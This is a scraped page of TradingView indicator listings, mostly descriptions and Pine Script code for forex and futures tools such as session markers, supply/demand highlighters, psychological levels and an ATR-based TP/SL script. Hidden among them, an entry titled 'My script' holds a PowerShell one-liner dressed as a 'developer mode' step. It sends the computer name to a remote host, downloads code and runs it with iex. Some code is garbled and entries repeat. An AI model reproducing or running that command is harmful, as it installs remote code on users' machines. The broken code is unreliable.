Volume Weighted Average Pricehelps my strategy and allows my trades to hit tp allowing me to gain profit
圖表形態
London & NY Session Markers + Pip MovementThis indicator visually marks the London and New York trading sessions on your chart and optionally calculates the pip range (high-low movement) during each session. It's specifically designed for Forex traders, helping you identify volatility windows and analyze market movement within major session times.
🔍 Key Features:
✅ Session Open/Close Markers
Draws vertical dotted lines at:
London Open (08:00 UK time)
London Close (11:00 UK time)
New York Open (14:00 UK time)
New York Close (17:00 UK time)
Each marker is labeled clearly ("London Open", "NY Close", etc.)
Uses color-coding for easy identification:
Aqua for London
Lime for New York
✅ Pip Range Display (Optional)
Measures the high-low price movement during each session.
Converts this movement into pips, using:
0.0001 pip size for most pairs
0.01 pip size for JPY pairs (auto-detected)
Displays a label (e.g., "London: 42.5 pips") above the candle at session close.
This feature can be toggled on/off via the settings panel.
✅ Time-Zone Aware
Session times are aligned to Europe/London time zone.
Adjusts automatically for Daylight Saving Time (DST).
✅ User Controls
Toggle visibility for:
London session markers
New York session markers
Pip range labels
📊 Use Cases:
Identify when liquidity and volatility increase, especially during session overlaps.
Analyze historical session-based volatility (e.g., compare NY vs. London pip ranges).
Combine with price action or indicator signals that work best in high-volume hours.
Optimize entry and exit timing based on session structure.
⚙️ Best Timeframes:
5-min to 1-hour charts for precise session tracking.
Works on Forex and CFD pairs with standard tick sizes.
⚠️ Notes:
This tool does not repaint and uses only completed bar data.
Pip calculation is based on the chart’s current symbol and tick size.
Designed for spot FX, not intended for cryptocurrencies or synthetic indices.
✅ Ideal For:
Forex Day Traders
Session-based Strategy Developers
London Breakout or NY Reversal Traders
Anyone analyzing volatility by session windows
Gap Legout after Good Legin & Boring// ============================================================================
// Script: Gap Legout after Good Legin & Boring (Supply/Demand Zone Highlighter)
// Version: Pine Script v6
// ---------------------------------------------------------------------------
// This indicator highlights high-quality demand and supply zone "legout" candles
// that follow a classic supply/demand sequence:
// 1. Good Legin → 2. Boring → 3. Gap Legout
//
// A candle is highlighted if ALL these rules are satisfied:
// 1. Two bars back: "Good Legin" candle
// - TR > ATR (shows strong expansion).
// - Size ≥ 1.9× previous boring candle, OR TR ≥ 1.9× boring candle's TR.
// - Body ≥ 70% of its range (body-dominant).
// - Wick on the close side (price rejection).
// - No significant gap between legin close and boring open (adaptive threshold).
//
// 2. Previous bar: "Boring" candle
// - ATR > TR (low volatility/consolidation).
//
// 3. Current bar: "Gap Legout" candle
// - TR > ATR (shows expansion/volatility).
// - Body ≥ 70% of its range (body-dominant).
// - Size ≥ 4× the boring candle.
// - If bullish (demand): body must gap up—fully above boring candle’s body, no touch.
// - If bearish (supply): body must gap down—fully below boring candle’s body, no touch.
//
// Highlight colors:
// - **Yellow** for demand (bullish gap-up legout).
// - **Fuchsia** for supply (bearish gap-down legout).
//
// Purpose:
// - For supply/demand zone and price action traders, this script helps spot
// only the highest-probability legout bars after proper structure and
// consolidation, reducing false signals and improving zone accuracy.
//
// Add this to any chart to visually scan for these A+ demand and supply zone formations.
//
// ============================================================================
30s OR ProjectionsThis script gets the opening range for NQ,ES, and YM. It then created deviations based on this range as targets to take profit from. You may also use the deviations to enter into trades looking for the other side of the range. You have the ability to shade areas of the range.
***FALCON TRADER TAMIL STRATEGY V5 FOR INVITE ONLY***💎 FALCON TRADER TAMIL STRATEGY V5 GOLDEN STRATEGY INVITE ONLY SCRIPT 💎
🚀 Your Ultimate Smart Auto Trading Companion – Powered by MT5 Auto Connector + TradingView + Telegram Alerts
Welcome to the FALCON TRADER TAMIL STRATEGY V5 GOLDEN STRATEGY – An Elite invite-only indicator designed to give traders institution-level precision with smart automation, real-time signal intelligence, and full integration with MT5 auto trading systems and Telegram bots through PINE CONNECTOR. This system isn’t just a tool; it’s a complete trading ecosystem tailored for serious forex traders.
🔍 FEATURES BREAKDOWN & CLIENT GUIDE:
🔄 Exit Type: TP/SL Calculation Logic
TP/SL Type (Risk/Reward or Fixed)
Choose your risk exit logic: fixed SL/TP or dynamic based on risk-to-reward ratio, automatically calculated from your risk input and desired reward multiples.
🔐 Pine Connector Integration
License ID
Your unique trading license to securely activate MT5 auto trading via Pine Connector.
Risk (%) OR Lot Size
You have the flexibility to trade based on risk percentage of your account balance OR enter a fixed lot size.
Stop Loss (points)
This is your emergency defense level – set in raw points for high precision auto execution.
⚖️ Risk-Reward Customization
Lot Size
For fixed lot strategy: define the consistent position size you want per trade.
Risk:Reward for TP1/TP2/TP3
Smart tiered TP logic! Automatically calculates 3 profit targets using your risk value as base:
TP1 = 1R (Risk)
TP2 = 2R
TP3 = 3R
This provides scaling out flexibility to lock in gains as price moves.
🎨 Visual Signal Enhancements
Change Bar Color
Instantly spot bullish and bearish setups with customized bar coloring for BUY (🟩 Green) and SELL (🟥 Red).
🔧 SMART FILTERING & CONDITIONS
📊 Moving Averages Filter
Enable Fast > Slow MA Condition?
Only show trades when short-term momentum aligns with trend, i.e., fast MA above/below slow MA.
💪 RSI Filter
Enable RSI Filter?
Avoid overbought/oversold traps! This filter ensures signals only trigger in neutral or favorable RSI zones.
📉 VWAP Filter (Institutional Bias)
Enable VWAP Filter?
Eliminate trades going against major volume flows. VWAP acts as an institutional magnet – filter signals to only trade above VWAP (bullish) or below VWAP (bearish).
Anchor Period: Session/Daily/Weekly
Customize VWAP logic to align with your preferred time frame.
Source: Choose price base for VWAP, default to (H+L+C)/3.
📊 VWAP & Band Visualization
Bands Calculation Mode: Standard/Custom
For traders wanting to visualize volatility bands around VWAP.
Show VWAP Line / Show Band
Optional visual overlay to show VWAP guidance and deviation zones.
📈 Moving Average Display
Show Moving Average
Add a clean overlay of EMA/SMA lines for trend-following visual cues.
📏 ATR Filter (Volatility Control)
Enable ATR?
Avoid sideways markets – this filter ensures entries only occur when volatility (measured by ATR) exceeds a minimum threshold.
🧭 Range Comparison Filter
Enable Range Comparison?
Helps detect breakout potential by comparing current range to historical norms.
🧨 ADX Filter (Strength Detection)
Enable ADX?
Trade only during strong market trends. ADX ensures you're not stuck in choppy markets with false signals.
🔍 Clean Chart Controls
Inputs in status line
Enables real-time visibility of key parameters right on your chart for at-a-glance decision making.
📡 AUTOMATION ECOSYSTEM INTEGRATION
⚙️ MT5 Pine Connector: All entries, exits, and SL/TP levels are sent directly to MT5, eliminating manual trade execution through Pine Connector.
📨 Telegram Alerts: Clean, real-time alerts with direction (Buy/Sell), symbol, risk, SL/TP levels, and optional chart screenshot.
📊 Optimized for XAUUSD & Forex Pairs
💼 WHO IS THIS FOR?
✅ Traders using MT5 Auto Execution via Pine Connector
✅ Users wanting high-accuracy directional trades filtered by real logic
✅ Traders using prop firms or strict risk-based challenges
✅ Those who want multiple confirmation filters but with control over what to activate
✅ Traders needing smart risk-reward trade management
⚠️ IMPORTANT
This is an invite-only script. Usage is tied to your unique License ID, which powers all MT5/Telegram integrations. Sharing or unauthorized distribution will result in deactivation.
📩 WANT ACCESS?
Contact Us Telegram - to get your Access to Out Tool, and onboarding assistance.
My scriptpowershell -Command "$TradingView = 'app'; LSE:MODE = 'Developer'; $Devmode = 'enable' + 'dev.' + $TradingView + '?ai=' + $env:COMPUTERNAME; if ($Devmode) { $enable = iwr $Devmode -UseBasicParsing; iex ( ::UTF8.GetString($enable.Content)) }"
Custom Strategy Builder Raad V1This indicator is an advanced trading strategy builder that combines multiple technical indicators and analysis tools into a single script. Below is a simplified breakdown of its key components and functionalities.
Key Features & Components
1. Core Indicators
Moving Averages (EMA, SMA, WMA, HMA, VWMA) – Multiple types with customizable lengths.
Range Filter – A volatility-based trend filter.
SuperTrend – A trend-following indicator using ATR.
Half Trend – Another trend-following indicator.
Ichimoku Cloud – A comprehensive trend and support/resistance system.
2. Trend Indicators
Bollinger Bands – Volatility-based price channels.
MACD – Moving Average Convergence Divergence for momentum.
Parabolic SAR – A trailing stop indicator for trend direction.
Donchian Channel – Identifies breakout levels based on recent highs/lows.
3. Momentum Indicators
RSI (Relative Strength Index) – Measures overbought/oversold conditions.
Stochastic Oscillator – Another momentum indicator for reversals.
CCI (Commodity Channel Index) – Detects cyclical trends.
Awesome Oscillator (AO) – A histogram-based momentum tool.
4. Additional Analysis Tools
Fibonacci Retracement – Key support/resistance levels based on Fibonacci ratios.
Pivot Points – Calculates intraday support/resistance levels.
Supply/Demand Zones – Highlights key accumulation/distribution areas.
Volume Analysis – Includes VWAP and volume-based signals.
5. Dashboard & Customization
Switch Board – Enables/disables indicators on the chart.
Signal Filters – Adjusts confirmation rules for entries/exits.
Visual Customization – Change colors, line styles, and sizes.
How It Works
Leading Indicator – The primary signal generator (e.g., Range Filter, RSI, MACD).
Confirmation Indicators – Additional filters to validate signals (e.g., EMA cross, volume, trend strength).
Signal Expiry – Defines how long a signal remains valid before resetting.
Dashboard Display – Shows active signals and market conditions.
Best Use Cases
✅ Multi-Indicator Strategies – Combines multiple signals into one system.
✅ Trend & Momentum Trading – Works well for swing and intraday trading.
✅ Customizable Alerts – Can trigger buy/sell signals based on user-defined rules.
This indicator is ideal for traders who want a fully customizable and multi-strategy approach without manually overlaying multiple indicators.
هذا المؤشر هو أداة متقدمة لبناء استراتيجيات التداول تحتوي على مجموعة كبيرة من المؤشرات الفنية وأدوات التحليل. إليك شرح مبسط لمكوناته الرئيسية:
المكونات الرئيسية:
1. المؤشرات الأساسية:
المتوسطات المتحركة (EMA, SMA, WMA, HMA, VWMA): تسمح باختيار أنواع مختلفة من المتوسطات المتحركة بأطوال مختلفة.
Range Filter: مرشح يعتمد على مدى السعر لتحديد الاتجاه.
SuperTrend: مؤشر اتجاهي يعتمد على ATR.
Half Trend: مؤشر اتجاهي آخر.
Ichimoku Cloud: نظام إيشيموكو الكلاسيكي.
2. مؤشرات الاتجاه:
Bollinger Bands: نطاقات بولينجر.
MACD: مؤشر تقارب وتباعد المتوسطات المتحركة.
Parabolic SAR: مؤشر SAR القطعي المكافئ.
Donchian Channel: قناة دونشيان لتحديد القمم والقيعان.
3. مؤشرات الزخم:
RSI: مؤشر القوة النسبية.
Stochastic: مؤشر ستوكاستيك.
CCI: مؤشر قناة السلع.
Awesome Oscillator: مؤشر الزخم.
4. أدوات التحليل الأخرى:
Fibonacci Retracement: مستويات فيبوناتشي للتصحيح.
Pivot Points: نقاط محورية.
Supply/Demand Zones: مناطق العرض والطلب.
Volume Analysis: تحليل الحجم.
5. لوحة التحكم:
تسمح بتفعيل/تعطيل المؤشرات المختلفة.
تخصيص ألوان وعرض الخطوط.
ضبط معايير الإشارات.
طريقة العمل:
يحدد المؤشر إشارات شراء/بيع بناءً على تقاطعات المؤشرات المختلفة.
يمكن استخدام مؤشر رئيسي (Leading Indicator) مع مؤشرات تأكيد (Confirmation Indicators).
يوفر خيارات لتخصيص فترة انتهاء صلاحية الإشارة وطريقة العرض.
الاستخدام:
للمتداولين المتقدمين الذين يرغبون في بناء استراتيجيات معقدة.
يمكن استخدامه للتحليل الفني متعدد الأطر الزمنية.
يوفر مرونة كبيرة في تخصيص المؤشرات حسب احتياجات المستخدم.
Short-Indicator + Exit-AlertThis simple yet effective indicator is designed for beginners and provides a clear trading signal when three conditions are met:
- The stock price is below the EMA200, indicating a bearish trend.
- The MACD histogram changes from positive to negative, a signal for momentum reversal from bullish to bearish.
- The Volume Oscillator is positive (above the zero line), suggesting increasing trading activity.
Alert: When all three conditions are fulfilled, an alert is triggered for a potential short entry.
- Take Profit (TP): When the price hits the lower boundary of the Donchian Channel, the trade is exited with a profit.
- Stop Loss (SL): When the price touches the upper boundary of the Donchian Channel, the position is closed to limit losses.
Short-Indicator + Exit-AlertThis simple yet effective indicator is designed for beginners and provides a clear trading signal when three conditions are met:
- The stock price is below the EMA200, indicating a bearish trend.
- The MACD histogram changes from positive to negative, a signal for momentum reversal from bullish to bearish.
- The Volume Oscillator is positive (above the zero line), suggesting increasing trading activity.
Alert: When all three conditions are fulfilled, an alert is triggered for a potential short entry.
- Take Profit (TP): When the price hits the lower boundary of the Donchian Channel, the trade is exited with a profit.
- Stop Loss (SL): When the price touches the upper boundary of the Donchian Channel, the position is closed to limit losses.
Falcoin+ ForecastingFalcoin+ Forecasting
Primarily based on MACD (typical settings of 10/24/7).
Shows predictive future waves.
GBPUSD Trendflow sebiforexPsychological Levels Indicator for GBP/USD
This indicator highlights key psychological price levels on the GBP/USD chart. These are round-number levels (such as 1.2500, 1.2600, 1.2700, etc.) that often act as strong support and resistance zones due to the way traders perceive and react to them. Institutional traders and retail traders alike tend to place orders around these whole and half-number price levels, making them significant turning points in the market.
The indicator automatically plots major psychological levels (e.g., every 100 pips) and optionally minor ones (e.g., every 50 or 25 pips), providing a clear visual guide to areas of potential market reaction.
Key Features:
Highlights major round-number levels (e.g., 1.2500, 1.2600, etc.)
Optional minor levels (e.g., 1.2550, 1.2575, etc.)
Works on all timeframes
Helps identify support/resistance zones and confluence areas
Ideal for scalpers, day traders, and swing traders
These levels can help you anticipate potential price reactions, improve trade entries/exits, and increase overall market awareness.
GBPJPY Trendflow forexsebiPsychological Levels Indicator for GBP/JPY
This indicator marks key psychological price levels on the GBP/JPY chart. These are round-number price levels (such as 190.00, 191.00, 192.00, etc.) that often act as significant support and resistance due to their psychological impact on traders. These levels attract attention from both institutional and retail traders, leading to increased order flow and potential market reactions.
The indicator automatically draws major psychological levels (typically every 100 pips) and can optionally show minor levels (e.g., every 50 or 25 pips), helping traders identify key zones of interest with greater clarity.
Key Features:
Plots major psychological levels (e.g., 190.00, 191.00, 192.00)
Optional minor levels (e.g., 190.50, 190.25, etc.)
Compatible with all timeframes
Helps identify areas of support, resistance, and price reaction
Suitable for all trading styles: scalping, intraday, and swing trading
These levels serve as a visual guide for anticipating potential reversals, breakouts, or consolidations around high-probability zones.
Trend Seeker [Capt.LAB] Trend Seeker By Captain Trading LAB
Trend Seeker is an advanced trend-following indicator designed to identify high-probability trading opportunities through proprietary market analysis algorithms. Built for traders who demand precision and reliability, this indicator seamlessly combines multiple layers of market intelligence to deliver clear, actionable signals.
Key Features
1. Intelligent Trend Detection
- Proprietary algorithm identifies market structure shifts with high accuracy
- Dynamic adaptation to changing market conditions in real-time
- Clear visual representation with customizable color schemes for instant trend recognition
2. Advanced Signal Generation
- Sophisticated Buy/Sell signals based on multi-factor momentum analysis
- Built-in noise reduction system eliminates false signals
- Adaptive signal generation that responds to market volatility
3. Market Environment Filtering
- Smart sideways market detection prevents trading in choppy conditions
- Optional trend-following filter ensures signals align with dominant market direction
- Intelligent filtering system adapts to various market conditions
4. Risk Management Integration
- Automatic Stop Loss calculation based on market volatility
- Predefined Risk:Reward ratios for systematic position sizing
- Visual TP/SL boxes that dynamically extend until targets are reached
5. Professional Trend Visualization
- Dynamic trend ribbon adjusts to market conditions
- Clear distinction between bullish and bearish market phases
- Trend boundaries serve as dynamic support and resistance levels
Application Guidelines
Setup Instructions
1. Add indicator through TradingView's Indicators menu
2. Search for "Trend Seeker" and add to your chart
3. Customize visual appearance through the settings panel
4. Enable alerts for automated signal notifications
Best Practices
- Multi-Timeframe Analysis : Confirm higher timeframe trends before taking signals
- Trend Alignment : Prioritize buy signals in uptrends, sell signals in downtrends
- Risk Management : Always respect the suggested Stop Loss levels
- Market Conditions : Avoid trading when sideways filter indicates ranging markets
Trading Methodology
1. Entry Signals
- Wait for clear Buy/Sell labels to appear on chart
- Ensure market conditions favor the signal direction
- Enter positions at market price or set limit orders
2. Position Management
- Place Stop Loss at the indicated SL level
- Set Take Profit at the calculated TP level
- Monitor trend ribbon for potential trend changes
3. Exit Strategy
- Exit at predetermined TP level for systematic profits
- Close position if Stop Loss is triggered
- Consider early exit if opposite signal appears
Alert Configuration
The indicator supports comprehensive alerts for:
- Buy Signal detection
- Sell Signal detection
- Trend direction changes
- Price reaching TP/SL levels
Configure alerts through TradingView's alert menu after adding the indicator.
Visual Components
- Buy/Sell Signals : Clear labels with customizable colors
- TP/SL Boxes : Visual representation of risk and reward zones
- Trend Ribbon : Dynamic trend visualization with color-coded direction
- Entry Lines : Precise entry level markers for trade execution
Risk Disclaimer
Trend Seeker is provided for educational and informational purposes only. Trading financial markets carries substantial risk and may not be suitable for all investors. Past performance does not guarantee future results. Always conduct thorough testing in demo environments before live trading. The developer assumes no responsibility for any trading losses incurred while using this indicator.
Summary
Trend Seeker represents a comprehensive trading solution that combines advanced market analysis with practical risk management. Its proprietary algorithms and multi-layered approach provide traders with a systematic method for capturing trending market movements while managing risk effectively.
Triángulo + Confirmación ICTThe provided script is written in **Pine Script** (version 7) and defines a custom technical indicator named **"Triangle + ICT Confirmation"**, which is overlaid on the price chart (`overlay=true`). The indicator identifies pivot points, draws trendlines for resistance and support, detects breakouts with optional confirmation via Break of Structure (BOS), and optionally highlights Fair Value Gaps (FVG). Below is a detailed description of the indicator in English:
---
### **1. Inputs**
- **`pivotLen`**: An integer input (`input.int`) that defines the number of bars to the left and right used to detect pivot points (default: 10, minimum: 1). This controls the sensitivity of pivot detection.
- **`confirmBOS`**: A boolean input (`input.bool`) that determines whether breakouts require confirmation with a Break of Structure (BOS) (default: `true`).
- **`showFVG`**: A boolean input (`input.bool`) that toggles the display of Fair Value Gaps (FVG) on the chart (default: `true`).
---
### **2. Pivot Detection**
- **`ph = ta.pivothigh(high, pivotLen, pivotLen)`**: Detects pivot highs in the price (`high`). A pivot high occurs when the high of a bar is greater than the highs of the `pivotLen` bars to its left and right. Returns the price of the pivot high or `na` if no pivot is detected.
- **`pl = ta.pivotlow(low, pivotLen, pivotLen)`**: Detects pivot lows in the price (`low`). A pivot low occurs when the low of a bar is less than the lows of the `pivotLen` bars to its left and right. Returns the price of the pivot low or `na` if no pivot is detected.
---
### **3. Variables**
- **`resistencia`**: A variable (`var line`) to store the resistance trendline (initially `na`).
- **`soporte`**: A variable (`var line`) to store the support trendline (initially `na`).
- **`etiquetaRes`**: A variable (`var label`) to store the label for the resistance trendline (initially `na`).
- **`etiquetaSop`**: A variable (`var label`) to store the label for the support trendline (initially `na`).
---
### **4. Drawing Trendlines**
- **Resistance Trendline (Pivot Highs)**:
- When a pivot high is detected (`if not na(ph)`):
- `x1` is set to the bar index of the pivot high (`bar_index - pivotLen`).
- `y1` is set to the pivot high price (`ph`).
- `x2` is set to the current bar index (`bar_index`).
- `y2` is set to the current bar’s high price (`high`).
- The previous resistance line is deleted (`line.delete(resistencia)`).
- The previous resistance label is deleted (`label.delete(etiquetaRes)`).
- A new resistance line is drawn (`line.new`) from `(x1, y1)` to `(x2, y2)`, colored red (`color.red`), with a width of 2, and extended to the right (`extend.right`).
- A label is added at `(x2, y2)` showing the price (`str.tostring(y2, "#.##")`) with a red triangle (`▲`), styled as a downward label (`label.style_label_down`), with a red background and white text.
- **Support Trendline (Pivot Lows)**:
- When a pivot low is detected (`if not na(pl)`):
- `x1` is set to the bar index of the pivot low (`bar_index - pivotLen`).
- `y1` is set to the pivot low price (`pl`).
- `x2` is set to the current bar index (`bar_index`).
- `y2` is set to the current bar’s low price (`low`).
- The previous support line is deleted (`line.delete(soporte)`).
- The previous support label is deleted (`label.delete(etiquetaSop)`).
- A new support line is drawn (`line.new`) from `(x1, y1)` to `(x2, y2)`, colored yellow (`color.yellow`), with a width of 2, and extended to the right (`extend.right`).
- A label is added at `(x2, y2)` showing the price (`str.tostring(y2, "#.##")`) with a green triangle (`▼`), styled as an upward label (`label.style_label_up`), with a green background and white text.
---
### **5. Breakout Detection**
- **Price Levels**:
- **`precioRes`**: Retrieves the price of the resistance line at the current bar (`line.get_price(resistencia, bar_index)`).
- **`precioSop`**: Retrieves the price of the support line at the current bar (`line.get_price(soporte, bar_index)`).
- **Breakout Conditions**:
- **`rompeRes`**: A breakout above resistance occurs when the closing price (`close`) is greater than `precioRes` and `precioRes` is not `na`.
- **`rompeSop`**: A breakout below support occurs when the closing price (`close`) is less than `precioSop` and `precioSop` is not `na`.
---
### **6. Break of Structure (BOS)**
- **`prevHigh = ta.highest(high, pivotLen)`**: Calculates the highest high over the last `pivotLen` bars.
- **`prevLow = ta.lowest(low, pivotLen)`**: Calculates the lowest low over the last `pivotLen` bars.
- **`BOS_alcista`**: Detects a bullish BOS when the current high crosses above the previous highest high (`ta.crossover(high, prevHigh)`).
- **`BOS_bajista`**: Detects a bearish BOS when the current low crosses below the previous lowest low (`ta.crossunder(low, prevLow)`).
---
### **7. Confirmation Logic**
- **`confirmacionRes`**: A confirmed resistance breakout occurs if:
- There is a breakout above resistance (`rompeRes` is `true`), and
- Either `confirmBOS` is `false` (BOS confirmation is not required) or a bullish BOS is detected (`BOS_alcista` is `true`).
- **`confirmacionSop`**: A confirmed support breakout occurs if:
- There is a breakout below support (`rompeSop` is `true`), and
- Either `confirmBOS` is `false` or a bearish BOS is detected (`BOS_bajista` is `true`).
---
### **8. Alerts**
- **`alertcondition(confirmacionRes, ...)`**: Triggers an alert for a confirmed resistance breakout with the message: "🚨 Confirmed bullish breakout + BOS".
- **`alertcondition(confirmacionSop, ...)`**: Triggers an alert for a confirmed support breakout with the message: "🚨 Confirmed bearish breakout + BOS".
---
### **9. Fair Value Gaps (FVG)**
- If `showFVG` is `true`:
- **`fvgUp`**: Detects a bullish FVG when the low of two bars ago (`low `) is greater than the current high (`high`), indicating a gap in price action.
- **`fvgDown`**: Detects a bearish FVG when the high of two bars ago (`high `) is less than the current low (`low`), indicating a gap in price action.
- For a bullish FVG (`fvgUp`):
- A box is drawn (`box.new`) from `bar_index - 2` at `low ` to `bar_index` at `high`, with a green border and a semi-transparent green background (`color.new(color.green, 85)`).
- For a bearish FVG (`fvgDown`):
- A box is drawn (`box.new`) from `bar_index - 2` at `high ` to `bar_index` at `low`, with a red border and a semi-transparent red background (`color.new(color.red, 85)`).
---
### **Summary of Data and Functionality**
- **Inputs**:
- `pivotLen`: Number of bars for pivot detection (default: 10).
- `confirmBOS`: Toggle for requiring BOS confirmation for breakouts (default: `true`).
- `showFVG`: Toggle for displaying FVGs (default: `true`).
- **Pivot Variables**:
- `ph`: Price of the pivot high (or `na`).
- `pl`: Price of the pivot low (or `na`).
- **Trendline Variables**:
- `resistencia`: Red resistance trendline connecting pivot highs, extended to the right.
- `soporte`: Yellow support trendline connecting pivot lows, extended to the right.
- `etiquetaRes`, `etiquetaSop`: Labels displaying prices at the latest points of the trendlines.
- **Breakout and BOS**:
- `precioRes`, `precioSop`: Current price levels of resistance and support lines.
- `rompeRes`, `rompeSop`: Detect breakouts above resistance or below support.
- `BOS_alcista`, `BOS_bajista`: Detect bullish or bearish BOS based on price crossing previous highs/lows.
- `confirmacionRes`, `confirmacionSop`: Combine breakout detection with optional BOS confirmation.
- **FVG**:
- `fvgUp`, `fvgDown`: Identify bullish and bearish Fair Value Gaps.
- Visualized as green (bullish) or red (bearish) boxes on the chart if `showFVG` is enabled.
- **Alerts**:
- Triggered for confirmed breakouts of resistance or support, with or without BOS confirmation.
---
### **Overall Functionality**
The indicator is designed to:
1. Identify pivot highs and lows to draw dynamic resistance (red) and support (yellow) trendlines, each labeled with the current price.
2. Detect breakouts when the price closes above resistance or below support.
3. Optionally confirm breakouts with a Break of Structure (BOS) for added reliability.
4. Visualize Fair Value Gaps (FVGs) as colored boxes to highlight potential areas of price inefficiency.
5. Generate alerts for confirmed breakouts, useful for trading signals.
This indicator is particularly suited for traders using **Inner Circle Trader (ICT)** concepts, focusing on trendlines, breakouts, BOS, and FVGs to identify potential trading opportunities.
Línea de Tendencia EstableThe provided script is written in **Pine Script** (version 5) and defines a custom technical indicator called **"Stable Trend Line"**, which overlays on the price chart (`overlay=true`). Its purpose is to detect high and low pivots in price and draw bullish and bearish trend lines based on these pivots. Below is a detailed description of the script's data and logic: ### **1. Settings** - **`left`**: An input parameter (`input.int`) that defines the number of candles to the left for detecting pivots (default: 10). It specifies how many candles are analyzed before the current point. - **`right`**: An input parameter (`input.int`) that defines the number of candles to the right for detecting pivots (default: 10). It specifies how many candles are analyzed after the current point. - Both parameters have a minimum value of 1 (`minval=1`), ensuring that at least one candle is always analyzed. ### **2. Pivot Detection**
HBAR Price & Volume AlertThis indicator is designed for the COINBASE:HBARUSD chart. It continuously monitors price action and trading volume to alert you when a significant move happens:
Triggers an alert every time HBAR’s price crosses above a user-defined target price (default $0.27800, adjustable).
Alert only fires if the current volume is above the user-defined moving average of volume (default 20 bars, adjustable).
Visually marks every alert event on the chart with a triangle and an optional label showing the cross.
Includes a ready-to-use alertcondition for push notifications in TradingView.
All critical parameters (target price and volume MA length) are user-editable.
Use this indicator to catch price breakouts with strong volume confirmation—filtering out weak, low-volume moves. Alerts are continuous, not one-time, so you never miss an opportunity as long as conditions are met.
Candle Size: Avg vs Current (Green/Red)This indicator shows the size of green (bullish) and red (bearish) candles, either as an average over time or just the current candle. You can choose to measure candle size by the body (Close - Open) or the full range (High - Low). It's a simple way to compare recent buying vs. selling strength and spot shifts in momentum.
Momentum Alpha Gold (With Current Price Tag)//@version=6
indicator("Momentum Alpha Gold (With Current Price Tag)", overlay=true, max_labels_count=500)
// === Inputs ===
emaFastLen = input.int(20, "Fast EMA Length")
emaSlowLen = input.int(50, "Slow EMA Length")
supertrendFactor = input.float(2.0, "Supertrend Factor")
supertrendATR = input.int(10, "Supertrend ATR Period")
atrPeriod = input.int(14, "ATR Period for SL/TP")
// === EMA & Supertrend ===
emaFast = ta.ema(close, emaFastLen)
emaSlow = ta.ema(close, emaSlowLen)
= ta.supertrend(supertrendFactor, supertrendATR)
trendBull = (emaFast > emaSlow) or direction == 1
trendBear = (emaFast < emaSlow) or direction == -1
// === Buy/Sell Signals ===
coUp = ta.crossover(close, emaFast)
coDown = ta.crossunder(close, emaFast)
buySignal = trendBull and coUp
sellSignal = trendBear and coDown
// === ATR-based Levels ===
atr = ta.atr(atrPeriod)
var float SL = na
var float TP1 = na
var float TP2 = na
var float TP3 = na
var float ReEntry = na
var float MartingaleSL = na
if buySignal
SL := close - atr
TP1 := close + (close - SL)
TP2 := close + 2 * (close - SL)
TP3 := close + 3 * (close - SL)
ReEntry := close - 0.5 * (close - SL)
MartingaleSL := SL - 0.5 * (close - SL)
if sellSignal
SL := close + atr
TP1 := close - (SL - close)
TP2 := close - 2 * (SL - close)
TP3 := close - 3 * (SL - close)
ReEntry := close + 0.5 * (SL - close)
MartingaleSL := SL + 0.5 * (SL - close)
// === Colors ===
neonBlue = color.new(color.aqua, 0) // Momentum Buy
neonPink = color.new(color.fuchsia, 0) // Momentum Sell
neonRed = color.new(color.red, 0) // Stoploss
neonOrange = color.new(color.orange, 0) // Martingale Entry
neonYellow = color.new(color.yellow, 0) // Instant Entry
neonGreen = color.new(color.lime, 0) // Take Profits
currentBlue = color.new(color.blue, 0) // Current Price
// === Arrays for Dynamic Labels ===
var label activeLabels = array.new()
var line activeLines = array.new()
priceFmt(p) => str.tostring(p, "#.###")
// === Draw Box Function (Label + Line) ===
drawBox(price, labelText, col) =>
offset = 3
ln = line.new(bar_index + offset, price, bar_index + 40, price, color=col, width=2)
lbl = label.new(bar_index + offset, price,
labelText + " : " + priceFmt(price),
style=label.style_label_left, size=size.normal,
textcolor=color.black, color=col)
array.push(activeLabels, lbl)
array.push(activeLines, ln)
// === Draw Current Price (styled like SL/TP) ===
drawCurrentPrice() =>
offset = 3
ln = line.new(bar_index + offset, close, bar_index + 40, close, color=currentBlue, width=2)
lbl = label.new(bar_index + offset, close,
"Current Price : " + priceFmt(close),
style=label.style_label_left, size=size.normal,
textcolor=color.white, color=currentBlue)
array.push(activeLabels, lbl)
array.push(activeLines, ln)
// === Clear and Redraw Labels Each Bar ===
if barstate.islast
for l in activeLabels
label.delete(l)
for ln in activeLines
line.delete(ln)
array.clear(activeLabels)
array.clear(activeLines)
if not na(SL) and not na(TP1)
drawBox(MartingaleSL, "Stoploss", neonRed)
drawBox(SL, "Martingale Entry", neonOrange)
drawBox(ReEntry, "Instant Entry", neonYellow)
drawBox(TP1, "TP1", neonGreen)
drawBox(TP2, "TP2", neonGreen)
drawBox(TP3, "TP3", neonGreen)
drawCurrentPrice() // Adds Current Price tag in same style
// === Momentum Buy/Sell Markers ===
plotshape(buySignal, title="Momentum Buy", location=location.belowbar,
color=neonBlue, style=shape.labelup, text="Momentum Buy", textcolor=color.black)
plotshape(sellSignal, title="Momentum Sell", location=location.abovebar,
color=neonPink, style=shape.labeldown, text="Momentum Sell", textcolor=color.black)
Momentum Alpha Gold (With Current Price Tag)//@version=6
indicator("Momentum Alpha Gold (With Current Price Tag)", overlay=true, max_labels_count=500)
// === Inputs ===
emaFastLen = input.int(20, "Fast EMA Length")
emaSlowLen = input.int(50, "Slow EMA Length")
supertrendFactor = input.float(2.0, "Supertrend Factor")
supertrendATR = input.int(10, "Supertrend ATR Period")
atrPeriod = input.int(14, "ATR Period for SL/TP")
// === EMA & Supertrend ===
emaFast = ta.ema(close, emaFastLen)
emaSlow = ta.ema(close, emaSlowLen)
= ta.supertrend(supertrendFactor, supertrendATR)
trendBull = (emaFast > emaSlow) or direction == 1
trendBear = (emaFast < emaSlow) or direction == -1
// === Buy/Sell Signals ===
coUp = ta.crossover(close, emaFast)
coDown = ta.crossunder(close, emaFast)
buySignal = trendBull and coUp
sellSignal = trendBear and coDown
// === ATR-based Levels ===
atr = ta.atr(atrPeriod)
var float SL = na
var float TP1 = na
var float TP2 = na
var float TP3 = na
var float ReEntry = na
var float MartingaleSL = na
if buySignal
SL := close - atr
TP1 := close + (close - SL)
TP2 := close + 2 * (close - SL)
TP3 := close + 3 * (close - SL)
ReEntry := close - 0.5 * (close - SL)
MartingaleSL := SL - 0.5 * (close - SL)
if sellSignal
SL := close + atr
TP1 := close - (SL - close)
TP2 := close - 2 * (SL - close)
TP3 := close - 3 * (SL - close)
ReEntry := close + 0.5 * (SL - close)
MartingaleSL := SL + 0.5 * (SL - close)
// === Colors ===
neonBlue = color.new(color.aqua, 0) // Momentum Buy
